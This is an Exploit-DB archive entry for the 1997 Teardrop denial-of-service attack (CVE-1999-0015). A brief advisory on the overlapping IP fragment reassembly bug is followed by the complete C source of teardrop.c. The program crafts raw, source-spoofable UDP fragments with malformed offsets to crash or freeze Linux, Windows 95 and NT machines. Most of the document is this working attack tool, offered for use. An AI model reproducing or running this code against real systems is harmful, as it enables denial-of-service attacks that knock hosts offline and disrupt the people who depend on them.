HP HP-UX <= 10.34,ms Windows 95/NT 3.5.1 SP1/NT 3.5.1 SP2/NT 3.5.1 SP3/NT 3.5.1 SP4/NT 4.0/NT 4.0 SP1/NT 4.0 SP2/NT 4.0 SP3

1997-11-13T00:00:00
ID EDB-ID:19103
Type exploitdb
Reporter G P R
Modified 1997-11-13T00:00:00

Description

HP HP-UX 10.34,Microsoft Windows 95/NT 3.5.1 SP1/NT 3.5.1 SP2/NT 3.5.1 SP3/NT 3.5.1 SP4/NT 4.0/NT 4.0 SP1/NT 4.0 SP2/NT 4.0 SP3. CVE-1999-0015. Remote exploi...

                                        
                                            source: http://www.securityfocus.com/bid/124/info

The Teardrop denial of service attack exploits a flaw inherent to multiple vendor TCP/IP stacks. This problem is related to how the TCP/IP stack handle reassembly of fragmented IP packets.

This attack can be delivered by sending 2 or more specially fragmented IP datagrams. The first is the 0 offset fragment with a payload of size N, with the MF bit on (data content is irrelevant). The second is the last fragment (MF == 0) with a positive offset < N and with a payload of < N.

This results in the TCP/IP stack allocating unusually large resources to reassembling the packet(s). Depending on the memory deployed on the target box this usually results in the system freezing due to insufficient memory or in some case causing the machine to reboot.

------[Begin] -- Guby Linux -------------------------------------------------

/*
* Copyright (c) 1997 route|daemon9 <route@infonexus.com> 11.3.97
*
* Linux/NT/95 Overlap frag bug exploit
*
* Exploits the overlapping IP fragment bug present in all Linux kernels and
* NT 4.0 / Windows 95 (others?)
*
* Based off of: flip.c by klepto
* Compiles on: Linux, *BSD*
*
* gcc -O2 teardrop.c -o teardrop
* OR
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>

#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n) (n)
#else /* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */

#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define PADDING 0x1c /* datagram frame padding for first packet */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
* withstand maybe 5 or 10 sometimes... Experiment.
*/
void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short);

int main(int argc, char **argv)
{
int one = 1, count = 0, i, rip_sock;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
struct in_addr addr;

fprintf(stderr, "teardrop route|daemon9\n\n");

if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("raw socket");
exit(1);
}
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
< 0)
{
perror("IP_HDRINCL");
exit(1);
}
if (argc < 3) usage(argv[0]);
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
{
fprintf(stderr, "What the hell kind of IP address is that?\n");
exit(1);
}

while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
{
case 's': /* source port (should be emphemeral) */
src_prt = (u_short)atoi(optarg);
break;
case 't': /* dest port (DNS, anyone?) */
dst_prt = (u_short)atoi(optarg);
break;
case 'n': /* number to send */
count = atoi(optarg);
break;
default :
usage(argv[0]);
break; /* NOTREACHED */
}
}
srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count) count = COUNT;

fprintf(stderr, "Death on flaxen wings:\n");
addr.s_addr = src_ip;
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
fprintf(stderr, " Amt: %5d\n", count);
fprintf(stderr, "[ ");

for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
fprintf(stderr, "b00m ");
usleep(500);
}
fprintf(stderr, "]\n");
return (0);
}

/*
* Send two IP fragments with pathological offsets. We use an implementation
* independent way of assembling network packets that does not rely on any of
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
*/

void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */

sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;

/*
* Grab some memory for our packet, align p_ptr to point at the beginning
* of our packet, and then fill it with zeros.
*/
packet = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);

byte = 0x45; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */

if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}

/* We set the fragment offset to be inside of the previous packet's
* payload (it overlaps inside the previous packet) but do not include
* enough payload to cover complete the datagram. Just the header will
* do, but to crash NT/95 machines, a bit larger of packet seems to work
* better.
*/
p_ptr = &packet[2]; /* IP total length is 2 bytes into the header */
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
p_ptr += 4; /* IP offset is 6 bytes into the header */
*((u_short *)p_ptr) = FIX(MAGIC);

if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
free(packet);
}

u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;

if ((addr.s_addr = inet_addr(host_name)) == -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}

void usage(u_char *name)
{
fprintf(stderr,
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
name);
exit(0);
}

/* EOF */

------[End] -- Guby Linux ----------------------------------------------------